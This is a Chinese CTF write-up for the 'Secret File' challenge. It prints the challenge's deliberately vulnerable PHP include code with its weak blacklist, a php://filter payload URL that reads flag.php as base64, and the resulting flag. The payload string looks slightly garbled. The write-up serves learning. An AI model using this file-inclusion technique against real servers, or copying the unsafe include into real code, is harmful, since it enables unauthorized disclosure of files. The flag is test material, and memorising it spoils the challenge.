绝密文件,打开首页是这个

[极客大挑战 2019]Secret File 思路

 

 之后我们打开源码发现了一个页面,我们跟进去

[极客大挑战 2019]Secret File 思路

 

 出现了这个页面,页面中还有一个链接,点进去,然后发现让我们好好看看,看源码本来是action.php,点完链接迅速跳转成了end.php

我们就尝试抓包,然后看看有什么鬼东西

[极客大挑战 2019]Secret File 思路

 

 发现了这个文件,这我们就去看看这个文件是什么

打开一看是一段源码

<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
</html>

  传入的file经过了一些过滤,但是没有过滤filter,我们可以用php://fileter来获取文件。构造pyload:http://70d95c7d-3a5d-4e36-b67e-e133cea4e17d.node3.buuoj.cn/secr3t.php?file=php://filter/convert.base64.encode/resource=flag.php

然后我们得到了base64加密的字符串,我们拿去解码就得到了

flag{0e61f5fe-de22-4b9d-b0b9-eed76efc3e68}

 

相关文章:

  • 2022-01-06
  • 2021-05-19
  • 2021-09-08
  • 2021-05-26
  • 2021-07-04
  • 2021-11-03
  • 2021-10-17
  • 2022-12-23
猜你喜欢
  • 2021-06-25
  • 2022-01-22
  • 2021-09-25
  • 2022-01-25
  • 2021-06-07
相关资源
相似解决方案